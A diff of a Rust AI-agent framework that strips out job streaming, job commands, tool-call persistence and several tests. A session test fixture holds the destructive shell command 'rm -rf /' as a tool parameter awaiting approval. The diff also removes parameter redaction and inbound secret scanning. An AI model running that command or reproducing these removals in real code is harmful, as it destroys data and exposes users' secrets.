use crate::agent::worker::{Worker, WorkerDeps};
|
||||||
use crate::channels::web::types::SseEvent;
|
|
||||||
use crate::config::AgentConfig;
|
use crate::config::AgentConfig;
|
||||||
use crate::context::{ContextManager, JobContext, JobState};
|
use crate::context::{ContextManager, JobContext, JobState};
|
||||||
use crate::db::Database;
|
use crate::db::Database;
|
||||||
@@ -29,8 +28,6 @@ pub enum WorkerMessage {
|
|||||||
Stop,
|
Stop,
|
||||||
/// Check health.
|
/// Check health.
|
||||||
Ping,
|
Ping,
|
||||||
/// Inject a follow-up user message into the worker's reasoning context.
|
|
||||||
UserMessage(String),
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Status of a scheduled job.
|
/// Status of a scheduled job.
|
||||||
@@ -54,8 +51,6 @@ pub struct Scheduler {
|
|||||||
tools: Arc<ToolRegistry>,
|
tools: Arc<ToolRegistry>,
|
||||||
store: Option<Arc<dyn Database>>,
|
store: Option<Arc<dyn Database>>,
|
||||||
hooks: Arc<HookRegistry>,
|
hooks: Arc<HookRegistry>,
|
||||||
/// SSE broadcast sender for live job event streaming.
|
|
||||||
sse_tx: Option<tokio::sync::broadcast::Sender<SseEvent>>,
|
|
||||||
/// Running jobs (main LLM-driven jobs).
|
/// Running jobs (main LLM-driven jobs).
|
||||||
jobs: Arc<RwLock<HashMap<Uuid, ScheduledJob>>>,
|
jobs: Arc<RwLock<HashMap<Uuid, ScheduledJob>>>,
|
||||||
/// Running sub-tasks (tool executions, background tasks).
|
/// Running sub-tasks (tool executions, background tasks).
|
||||||
@@ -81,17 +76,11 @@ impl Scheduler {
|
|||||||
tools,
|
tools,
|
||||||
store,
|
store,
|
||||||
hooks,
|
hooks,
|
||||||
sse_tx: None,
|
|
||||||
jobs: Arc::new(RwLock::new(HashMap::new())),
|
jobs: Arc::new(RwLock::new(HashMap::new())),
|
||||||
subtasks: Arc::new(RwLock::new(HashMap::new())),
|
subtasks: Arc::new(RwLock::new(HashMap::new())),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Set the SSE broadcast sender for live job event streaming.
|
|
||||||
pub fn set_sse_sender(&mut self, tx: tokio::sync::broadcast::Sender<SseEvent>) {
|
|
||||||
self.sse_tx = Some(tx);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Create, persist, and schedule a job in one shot.
|
/// Create, persist, and schedule a job in one shot.
|
||||||
///
|
///
|
||||||
/// This is the preferred entry point for dispatching new jobs. It:
|
/// This is the preferred entry point for dispatching new jobs. It:
|
||||||
@@ -180,7 +169,6 @@ impl Scheduler {
|
|||||||
hooks: self.hooks.clone(),
|
hooks: self.hooks.clone(),
|
||||||
timeout: self.config.job_timeout,
|
timeout: self.config.job_timeout,
|
||||||
use_planning: self.config.use_planning,
|
use_planning: self.config.use_planning,
|
||||||
sse_tx: self.sse_tx.clone(),
|
|
||||||
};
|
};
|
||||||
let worker = Worker::new(job_id, deps);
|
let worker = Worker::new(job_id, deps);
|
||||||
|
|
||||||
@@ -512,26 +500,6 @@ impl Scheduler {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Send a follow-up user message to a running job.
|
|
||||||
///
|
|
||||||
/// Returns `Ok(())` if the message was queued, `Err` if the job is not running.
|
|
||||||
pub async fn send_message(&self, job_id: Uuid, content: String) -> Result<(), JobError> {
|
|
||||||
// Clone the sender while holding the lock, then release before the
|
|
||||||
// async send to avoid blocking scheduler writes during backpressure.
|
|
||||||
let tx = {
|
|
||||||
let jobs = self.jobs.read().await;
|
|
||||||
let scheduled = jobs.get(&job_id).ok_or(JobError::NotFound { id: job_id })?;
|
|
||||||
scheduled.tx.clone()
|
|
||||||
};
|
|
||||||
tx.send(WorkerMessage::UserMessage(content))
|
|
||||||
.await
|
|
||||||
.map_err(|_| JobError::Failed {
|
|
||||||
id: job_id,
|
|
||||||
reason: "Worker channel closed".to_string(),
|
|
||||||
})?;
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Check if a job is running.
|
/// Check if a job is running.
|
||||||
pub async fn is_running(&self, job_id: Uuid) -> bool {
|
pub async fn is_running(&self, job_id: Uuid) -> bool {
|
||||||
self.jobs.read().await.contains_key(&job_id)
|
self.jobs.read().await.contains_key(&job_id)
|
||||||
|
|||||||
@@ -387,134 +387,4 @@ mod tests {
|
|||||||
};
|
};
|
||||||
assert!(matches!(manual, RepairResult::ManualRequired { .. }));
|
assert!(matches!(manual, RepairResult::ManualRequired { .. }));
|
||||||
}
|
}
|
||||||
|
|
||||||
// === QA Plan - Self-repair stuck job tests ===
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn detect_no_stuck_jobs_when_all_healthy() {
|
|
||||||
let cm = Arc::new(ContextManager::new(10));
|
|
||||||
|
|
||||||
// Create a job and leave it Pending (not stuck).
|
|
||||||
cm.create_job("Job 1", "desc").await.unwrap();
|
|
||||||
|
|
||||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
|
||||||
let stuck = repair.detect_stuck_jobs().await;
|
|
||||||
assert!(stuck.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn detect_stuck_job_finds_stuck_state() {
|
|
||||||
let cm = Arc::new(ContextManager::new(10));
|
|
||||||
let job_id = cm.create_job("Stuck job", "desc").await.unwrap();
|
|
||||||
|
|
||||||
// Transition to InProgress, then to Stuck.
|
|
||||||
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
cm.update_context(job_id, |ctx| {
|
|
||||||
ctx.transition_to(JobState::Stuck, Some("timed out".to_string()))
|
|
||||||
})
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
|
||||||
let stuck = repair.detect_stuck_jobs().await;
|
|
||||||
assert_eq!(stuck.len(), 1);
|
|
||||||
assert_eq!(stuck[0].job_id, job_id);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn repair_stuck_job_succeeds_within_limit() {
|
|
||||||
let cm = Arc::new(ContextManager::new(10));
|
|
||||||
let job_id = cm.create_job("Repairable", "desc").await.unwrap();
|
|
||||||
|
|
||||||
// Move to InProgress -> Stuck.
|
|
||||||
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None))
|
|
||||||
.await
|
|
||||||
.unwrap()
|
|
||||||
.unwrap();
|
|
||||||
|
|
||||||
let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3);
|
|
||||||
|
|
||||||
let stuck_job = StuckJob {
|
|
||||||
job_id,
|
|
||||||
last_activity: Utc::now(),
|
|
||||||
stuck_duration: Duration::from_secs(120),
|
|
||||||
last_error: None,
|
|
||||||
repair_attempts: 0,
|
|
||||||
};
|
|
||||||
|
|
||||||
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
|
|
||||||
assert!(
|
|
||||||
matches!(result, RepairResult::Success { .. }),
|
|
||||||
"Expected Success, got: {:?}",
|
|
||||||
result
|
|
||||||
);
|
|
||||||
|
|
||||||
// Job should be back to InProgress after recovery.
|
|
||||||
let ctx = cm.get_context(job_id).await.unwrap();
|
|
||||||
assert_eq!(ctx.state, JobState::InProgress);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn repair_stuck_job_returns_manual_when_limit_exceeded() {
|
|
||||||
let cm = Arc::new(ContextManager::new(10));
|
|
||||||
let job_id = cm.create_job("Unrepairable", "desc").await.unwrap();
|
|
||||||
|
|
||||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2);
|
|
||||||
|
|
||||||
let stuck_job = StuckJob {
|
|
||||||
job_id,
|
|
||||||
last_activity: Utc::now(),
|
|
||||||
stuck_duration: Duration::from_secs(300),
|
|
||||||
last_error: Some("persistent failure".to_string()),
|
|
||||||
repair_attempts: 2, // == max
|
|
||||||
};
|
|
||||||
|
|
||||||
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
|
|
||||||
assert!(
|
|
||||||
matches!(result, RepairResult::ManualRequired { .. }),
|
|
||||||
"Expected ManualRequired, got: {:?}",
|
|
||||||
result
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn detect_broken_tools_returns_empty_without_store() {
|
|
||||||
let cm = Arc::new(ContextManager::new(10));
|
|
||||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
|
||||||
|
|
||||||
// No store configured, should return empty.
|
|
||||||
let broken = repair.detect_broken_tools().await;
|
|
||||||
assert!(broken.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn repair_broken_tool_returns_manual_without_builder() {
|
|
||||||
let cm = Arc::new(ContextManager::new(10));
|
|
||||||
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
|
|
||||||
|
|
||||||
let broken = BrokenTool {
|
|
||||||
name: "test-tool".to_string(),
|
|
||||||
failure_count: 10,
|
|
||||||
last_error: Some("crash".to_string()),
|
|
||||||
first_failure: Utc::now(),
|
|
||||||
last_failure: Utc::now(),
|
|
||||||
last_build_result: None,
|
|
||||||
repair_attempts: 0,
|
|
||||||
};
|
|
||||||
|
|
||||||
let result = repair.repair_broken_tool(&broken).await.unwrap();
|
|
||||||
assert!(
|
|
||||||
matches!(result, RepairResult::ManualRequired { .. }),
|
|
||||||
"Expected ManualRequired without builder, got: {:?}",
|
|
||||||
result
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -148,12 +148,8 @@ pub struct PendingApproval {
|
|||||||
pub request_id: Uuid,
|
pub request_id: Uuid,
|
||||||
/// Tool name requiring approval.
|
/// Tool name requiring approval.
|
||||||
pub tool_name: String,
|
pub tool_name: String,
|
||||||
/// Tool parameters (original values, used for execution).
|
/// Tool parameters.
|
||||||
pub parameters: serde_json::Value,
|
pub parameters: serde_json::Value,
|
||||||
/// Redacted tool parameters (sensitive values replaced with `[REDACTED]`).
|
|
||||||
/// Used for display in approval UI, logs, and SSE broadcasts.
|
|
||||||
#[serde(default)]
|
|
||||||
pub display_parameters: serde_json::Value,
|
|
||||||
/// Description of what the tool will do.
|
/// Description of what the tool will do.
|
||||||
pub description: String,
|
pub description: String,
|
||||||
/// Tool call ID from LLM (for proper context continuation).
|
/// Tool call ID from LLM (for proper context continuation).
|
||||||
@@ -954,7 +950,6 @@ mod tests {
|
|||||||
request_id: Uuid::new_v4(),
|
request_id: Uuid::new_v4(),
|
||||||
tool_name: "shell".to_string(),
|
tool_name: "shell".to_string(),
|
||||||
parameters: serde_json::json!({"command": "rm -rf /"}),
|
parameters: serde_json::json!({"command": "rm -rf /"}),
|
||||||
display_parameters: serde_json::json!({"command": "rm -rf /"}),
|
|
||||||
description: "dangerous command".to_string(),
|
description: "dangerous command".to_string(),
|
||||||
tool_call_id: "call_123".to_string(),
|
tool_call_id: "call_123".to_string(),
|
||||||
context_messages: vec![ChatMessage::user("do it")],
|
context_messages: vec![ChatMessage::user("do it")],
|
||||||
@@ -979,7 +974,6 @@ mod tests {
|
|||||||
request_id: Uuid::new_v4(),
|
request_id: Uuid::new_v4(),
|
||||||
tool_name: "http".to_string(),
|
tool_name: "http".to_string(),
|
||||||
parameters: serde_json::json!({}),
|
parameters: serde_json::json!({}),
|
||||||
display_parameters: serde_json::json!({}),
|
|
||||||
description: "test".to_string(),
|
description: "test".to_string(),
|
||||||
tool_call_id: "call_456".to_string(),
|
tool_call_id: "call_456".to_string(),
|
||||||
context_messages: vec![],
|
context_messages: vec![],
|
||||||
|
|||||||
@@ -772,116 +772,6 @@ mod tests {
|
|||||||
assert_ne!(resolved, tid);
|
assert_ne!(resolved, tid);
|
||||||
}
|
}
|
||||||
|
|
||||||
// === QA Plan P3 - 4.2: Concurrent session stress tests ===
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_get_or_create_same_user_returns_same_session() {
|
|
||||||
let manager = Arc::new(SessionManager::new());
|
|
||||||
|
|
||||||
let handles: Vec<_> = (0..30)
|
|
||||||
.map(|_| {
|
|
||||||
let mgr = Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move { mgr.get_or_create_session("shared-user").await })
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let mut sessions = Vec::new();
|
|
||||||
for handle in handles {
|
|
||||||
sessions.push(handle.await.expect("task should not panic"));
|
|
||||||
}
|
|
||||||
|
|
||||||
// All 30 must return the *same* Arc (double-checked locking guarantee).
|
|
||||||
for s in &sessions {
|
|
||||||
assert!(Arc::ptr_eq(&sessions[0], s));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_resolve_thread_distinct_users_no_cross_talk() {
|
|
||||||
let manager = Arc::new(SessionManager::new());
|
|
||||||
|
|
||||||
let handles: Vec<_> = (0..20)
|
|
||||||
.map(|i| {
|
|
||||||
let mgr = Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move {
|
|
||||||
let user = format!("user-{i}");
|
|
||||||
let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await;
|
|
||||||
(user, session, tid)
|
|
||||||
})
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let mut results = Vec::new();
|
|
||||||
for handle in handles {
|
|
||||||
results.push(handle.await.expect("task should not panic"));
|
|
||||||
}
|
|
||||||
|
|
||||||
// All thread IDs must be unique.
|
|
||||||
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
|
|
||||||
assert_eq!(tids.len(), 20);
|
|
||||||
|
|
||||||
// Each session should contain exactly 1 thread (its own).
|
|
||||||
for (_, session, tid) in &results {
|
|
||||||
let sess = session.lock().await;
|
|
||||||
assert!(sess.threads.contains_key(tid));
|
|
||||||
assert_eq!(sess.threads.len(), 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_resolve_thread_same_user_different_channels() {
|
|
||||||
let manager = Arc::new(SessionManager::new());
|
|
||||||
let channels = ["gateway", "telegram", "slack", "cli", "repl"];
|
|
||||||
|
|
||||||
let handles: Vec<_> = channels
|
|
||||||
.iter()
|
|
||||||
.map(|ch| {
|
|
||||||
let mgr = Arc::clone(&manager);
|
|
||||||
let channel = ch.to_string();
|
|
||||||
tokio::spawn(async move {
|
|
||||||
let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await;
|
|
||||||
(channel, session, tid)
|
|
||||||
})
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let mut results = Vec::new();
|
|
||||||
for handle in handles {
|
|
||||||
results.push(handle.await.expect("task should not panic"));
|
|
||||||
}
|
|
||||||
|
|
||||||
// All 5 threads must be unique (different channels = different keys).
|
|
||||||
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
|
|
||||||
assert_eq!(tids.len(), 5);
|
|
||||||
|
|
||||||
// All threads should live in the same session.
|
|
||||||
let sess = results[0].1.lock().await;
|
|
||||||
assert_eq!(sess.threads.len(), 5);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn concurrent_get_undo_manager_same_thread_returns_same_arc() {
|
|
||||||
let manager = Arc::new(SessionManager::new());
|
|
||||||
let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await;
|
|
||||||
|
|
||||||
let handles: Vec<_> = (0..20)
|
|
||||||
.map(|_| {
|
|
||||||
let mgr = Arc::clone(&manager);
|
|
||||||
tokio::spawn(async move { mgr.get_undo_manager(tid).await })
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let mut managers = Vec::new();
|
|
||||||
for handle in handles {
|
|
||||||
managers.push(handle.await.expect("task should not panic"));
|
|
||||||
}
|
|
||||||
|
|
||||||
// All 20 must point to the same UndoManager.
|
|
||||||
for m in &managers {
|
|
||||||
assert!(Arc::ptr_eq(&managers[0], m));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[tokio::test]
|
#[tokio::test]
|
||||||
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
|
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
|
||||||
use crate::agent::session::{Session, Thread};
|
use crate::agent::session::{Session, Thread};
|
||||||
|
|||||||
@@ -107,29 +107,6 @@ impl SubmissionParser {
|
|||||||
return Submission::Quit;
|
return Submission::Quit;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Job commands
|
|
||||||
if lower == "/status" || lower == "/progress" {
|
|
||||||
return Submission::JobStatus { job_id: None };
|
|
||||||
}
|
|
||||||
if let Some(rest) = lower
|
|
||||||
.strip_prefix("/status ")
|
|
||||||
.or_else(|| lower.strip_prefix("/progress "))
|
|
||||||
{
|
|
||||||
let id = rest.trim().to_string();
|
|
||||||
if !id.is_empty() {
|
|
||||||
return Submission::JobStatus { job_id: Some(id) };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if lower == "/list" {
|
|
||||||
return Submission::JobStatus { job_id: None };
|
|
||||||
}
|
|
||||||
if let Some(rest) = lower.strip_prefix("/cancel ") {
|
|
||||||
let id = rest.trim().to_string();
|
|
||||||
if !id.is_empty() {
|
|
||||||
return Submission::JobCancel { job_id: id };
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// /thread <uuid> - switch thread
|
// /thread <uuid> - switch thread
|
||||||
if let Some(rest) = lower.strip_prefix("/thread ") {
|
if let Some(rest) = lower.strip_prefix("/thread ") {
|
||||||
let rest = rest.trim();
|
let rest = rest.trim();
|
||||||
@@ -252,18 +229,6 @@ pub enum Submission {
|
|||||||
/// Suggest next steps based on the current thread.
|
/// Suggest next steps based on the current thread.
|
||||||
Suggest,
|
Suggest,
|
||||||
|
|
||||||
/// Check job status. No job_id shows all jobs; with job_id shows a specific job.
|
|
||||||
JobStatus {
|
|
||||||
/// Optional job ID (UUID or short prefix). If None, shows all jobs.
|
|
||||||
job_id: Option<String>,
|
|
||||||
},
|
|
||||||
|
|
||||||
/// Cancel a running job.
|
|
||||||
JobCancel {
|
|
||||||
/// Job ID (UUID or short prefix).
|
|
||||||
job_id: String,
|
|
||||||
},
|
|
||||||
|
|
||||||
/// Quit the agent. Bypasses thread-state checks.
|
/// Quit the agent. Bypasses thread-state checks.
|
||||||
Quit,
|
Quit,
|
||||||
|
|
||||||
@@ -348,8 +313,6 @@ impl Submission {
|
|||||||
| Self::Heartbeat
|
| Self::Heartbeat
|
||||||
| Self::Summarize
|
| Self::Summarize
|
||||||
| Self::Suggest
|
| Self::Suggest
|
||||||
| Self::JobStatus { .. }
|
|
||||||
| Self::JobCancel { .. }
|
|
||||||
| Self::SystemCommand { .. }
|
| Self::SystemCommand { .. }
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
@@ -777,56 +740,6 @@ mod tests {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_parser_job_status() {
|
|
||||||
// /status with no id → all jobs
|
|
||||||
let s = SubmissionParser::parse("/status");
|
|
||||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
|
||||||
|
|
||||||
// /progress alias
|
|
||||||
let s = SubmissionParser::parse("/progress");
|
|
||||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
|
||||||
|
|
||||||
// /status with id
|
|
||||||
let s = SubmissionParser::parse("/status abc123");
|
|
||||||
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
|
|
||||||
|
|
||||||
// /progress with id
|
|
||||||
let s = SubmissionParser::parse("/progress abc123");
|
|
||||||
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
|
|
||||||
|
|
||||||
// case insensitive
|
|
||||||
let s = SubmissionParser::parse("/STATUS");
|
|
||||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_parser_job_list() {
|
|
||||||
// /list is an alias for /status with no job_id
|
|
||||||
let s = SubmissionParser::parse("/list");
|
|
||||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
|
||||||
|
|
||||||
let s = SubmissionParser::parse("/LIST");
|
|
||||||
assert!(matches!(s, Submission::JobStatus { job_id: None }));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_parser_job_cancel() {
|
|
||||||
let s = SubmissionParser::parse("/cancel abc123");
|
|
||||||
assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123"));
|
|
||||||
|
|
||||||
// /cancel with no id → falls through to UserInput
|
|
||||||
let s = SubmissionParser::parse("/cancel");
|
|
||||||
assert!(matches!(s, Submission::UserInput { .. }));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_job_commands_are_control() {
|
|
||||||
assert!(SubmissionParser::parse("/status").is_control());
|
|
||||||
assert!(SubmissionParser::parse("/list").is_control());
|
|
||||||
assert!(SubmissionParser::parse("/cancel abc").is_control());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn test_parser_quit() {
|
fn test_parser_quit() {
|
||||||
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
|
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
|
||||||
|
|||||||
+24
-138
@@ -16,12 +16,10 @@ use crate::agent::dispatcher::{
|
|||||||
};
|
};
|
||||||
use crate::agent::session::{PendingApproval, Session, ThreadState};
|
use crate::agent::session::{PendingApproval, Session, ThreadState};
|
||||||
use crate::agent::submission::SubmissionResult;
|
use crate::agent::submission::SubmissionResult;
|
||||||
use crate::channels::web::util::truncate_preview;
|
|
||||||
use crate::channels::{IncomingMessage, StatusUpdate};
|
use crate::channels::{IncomingMessage, StatusUpdate};
|
||||||
use crate::context::JobContext;
|
use crate::context::JobContext;
|
||||||
use crate::error::Error;
|
use crate::error::Error;
|
||||||
use crate::llm::ChatMessage;
|
use crate::llm::ChatMessage;
|
||||||
use crate::tools::redact_params;
|
|
||||||
|
|
||||||
impl Agent {
|
impl Agent {
|
||||||
/// Hydrate a historical thread from DB into memory if not already present.
|
/// Hydrate a historical thread from DB into memory if not already present.
|
||||||
@@ -71,8 +69,6 @@ impl Agent {
|
|||||||
.filter_map(|m| match m.role.as_str() {
|
.filter_map(|m| match m.role.as_str() {
|
||||||
"user" => Some(ChatMessage::user(&m.content)),
|
"user" => Some(ChatMessage::user(&m.content)),
|
||||||
"assistant" => Some(ChatMessage::assistant(&m.content)),
|
"assistant" => Some(ChatMessage::assistant(&m.content)),
|
||||||
// tool_calls rows are UI metadata (tool name + preview),
|
|
||||||
// not part of the LLM conversation context.
|
|
||||||
_ => None,
|
_ => None,
|
||||||
})
|
})
|
||||||
.collect();
|
.collect();
|
||||||
@@ -177,18 +173,6 @@ impl Agent {
|
|||||||
return Ok(SubmissionResult::error("Input rejected by safety policy."));
|
return Ok(SubmissionResult::error("Input rejected by safety policy."));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Scan inbound messages for secrets (API keys, tokens).
|
|
||||||
// Catching them here prevents the LLM from echoing them back, which
|
|
||||||
// would trigger the outbound leak detector and create error loops.
|
|
||||||
if let Some(warning) = self.safety().scan_inbound_for_secrets(content) {
|
|
||||||
tracing::warn!(
|
|
||||||
user = %message.user_id,
|
|
||||||
channel = %message.channel,
|
|
||||||
"Inbound message blocked: contains leaked secret"
|
|
||||||
);
|
|
||||||
return Ok(SubmissionResult::error(warning));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle explicit commands (starting with /) directly
|
// Handle explicit commands (starting with /) directly
|
||||||
// Everything else goes through the normal agentic loop with tools
|
// Everything else goes through the normal agentic loop with tools
|
||||||
let temp_message = IncomingMessage {
|
let temp_message = IncomingMessage {
|
||||||
@@ -331,11 +315,6 @@ impl Agent {
|
|||||||
};
|
};
|
||||||
|
|
||||||
thread.complete_turn(&response);
|
thread.complete_turn(&response);
|
||||||
let tool_calls = thread
|
|
||||||
.turns
|
|
||||||
.last()
|
|
||||||
.map(|t| t.tool_calls.clone())
|
|
||||||
.unwrap_or_default();
|
|
||||||
let _ = self
|
let _ = self
|
||||||
.channels
|
.channels
|
||||||
.send_status(
|
.send_status(
|
||||||
@@ -345,9 +324,7 @@ impl Agent {
|
|||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
// Persist tool calls then assistant response (user message already persisted at turn start)
|
// Persist assistant response (user message already persisted at turn start)
|
||||||
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
|
|
||||||
.await;
|
|
||||||
self.persist_assistant_response(thread_id, &message.user_id, &response)
|
self.persist_assistant_response(thread_id, &message.user_id, &response)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
@@ -358,7 +335,7 @@ impl Agent {
|
|||||||
let request_id = pending.request_id;
|
let request_id = pending.request_id;
|
||||||
let tool_name = pending.tool_name.clone();
|
let tool_name = pending.tool_name.clone();
|
||||||
let description = pending.description.clone();
|
let description = pending.description.clone();
|
||||||
let parameters = pending.display_parameters.clone();
|
let parameters = pending.parameters.clone();
|
||||||
thread.await_approval(pending);
|
thread.await_approval(pending);
|
||||||
let _ = self
|
let _ = self
|
||||||
.channels
|
.channels
|
||||||
@@ -446,68 +423,6 @@ impl Agent {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Persist tool call summaries to the DB as a `role="tool_calls"` message.
|
|
||||||
///
|
|
||||||
/// Stored between the user and assistant messages so that
|
|
||||||
/// `build_turns_from_db_messages` can reconstruct the tool call history.
|
|
||||||
/// Content is a JSON array of tool call summaries.
|
|
||||||
pub(super) async fn persist_tool_calls(
|
|
||||||
&self,
|
|
||||||
thread_id: Uuid,
|
|
||||||
user_id: &str,
|
|
||||||
tool_calls: &[crate::agent::session::TurnToolCall],
|
|
||||||
) {
|
|
||||||
if tool_calls.is_empty() {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
let store = match self.store() {
|
|
||||||
Some(s) => Arc::clone(s),
|
|
||||||
None => return,
|
|
||||||
};
|
|
||||||
|
|
||||||
let summaries: Vec<serde_json::Value> = tool_calls
|
|
||||||
.iter()
|
|
||||||
.map(|tc| {
|
|
||||||
let mut obj = serde_json::json!({ "name": tc.name });
|
|
||||||
if let Some(ref result) = tc.result {
|
|
||||||
let preview = match result {
|
|
||||||
serde_json::Value::String(s) => truncate_preview(s, 500),
|
|
||||||
other => truncate_preview(&other.to_string(), 500),
|
|
||||||
};
|
|
||||||
obj["result_preview"] = serde_json::Value::String(preview);
|
|
||||||
}
|
|
||||||
if let Some(ref error) = tc.error {
|
|
||||||
obj["error"] = serde_json::Value::String(truncate_preview(error, 200));
|
|
||||||
}
|
|
||||||
obj
|
|
||||||
})
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let content = match serde_json::to_string(&summaries) {
|
|
||||||
Ok(c) => c,
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!("Failed to serialize tool calls: {}", e);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
if let Err(e) = store
|
|
||||||
.ensure_conversation(thread_id, "gateway", user_id, None)
|
|
||||||
.await
|
|
||||||
{
|
|
||||||
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if let Err(e) = store
|
|
||||||
.add_conversation_message(thread_id, "tool_calls", &content)
|
|
||||||
.await
|
|
||||||
{
|
|
||||||
tracing::warn!("Failed to persist tool calls: {}", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub(super) async fn process_undo(
|
pub(super) async fn process_undo(
|
||||||
&self,
|
&self,
|
||||||
session: Arc<Mutex<Session>>,
|
session: Arc<Mutex<Session>>,
|
||||||
@@ -676,13 +591,7 @@ impl Agent {
|
|||||||
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
|
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
|
||||||
|
|
||||||
if thread.state != ThreadState::AwaitingApproval {
|
if thread.state != ThreadState::AwaitingApproval {
|
||||||
// Stale or duplicate approval (tool already executed) — silently ignore.
|
return Ok(SubmissionResult::error("No pending approval request."));
|
||||||
tracing::debug!(
|
|
||||||
%thread_id,
|
|
||||||
state = ?thread.state,
|
|
||||||
"Ignoring stale approval: thread not in AwaitingApproval state"
|
|
||||||
);
|
|
||||||
return Ok(SubmissionResult::ok_with_message(""));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
thread.take_pending_approval()
|
thread.take_pending_approval()
|
||||||
@@ -690,13 +599,7 @@ impl Agent {
|
|||||||
|
|
||||||
let pending = match pending {
|
let pending = match pending {
|
||||||
Some(p) => p,
|
Some(p) => p,
|
||||||
None => {
|
None => return Ok(SubmissionResult::error("No pending approval request.")),
|
||||||
tracing::debug!(
|
|
||||||
%thread_id,
|
|
||||||
"Ignoring stale approval: no pending approval found"
|
|
||||||
);
|
|
||||||
return Ok(SubmissionResult::ok_with_message(""));
|
|
||||||
}
|
|
||||||
};
|
};
|
||||||
|
|
||||||
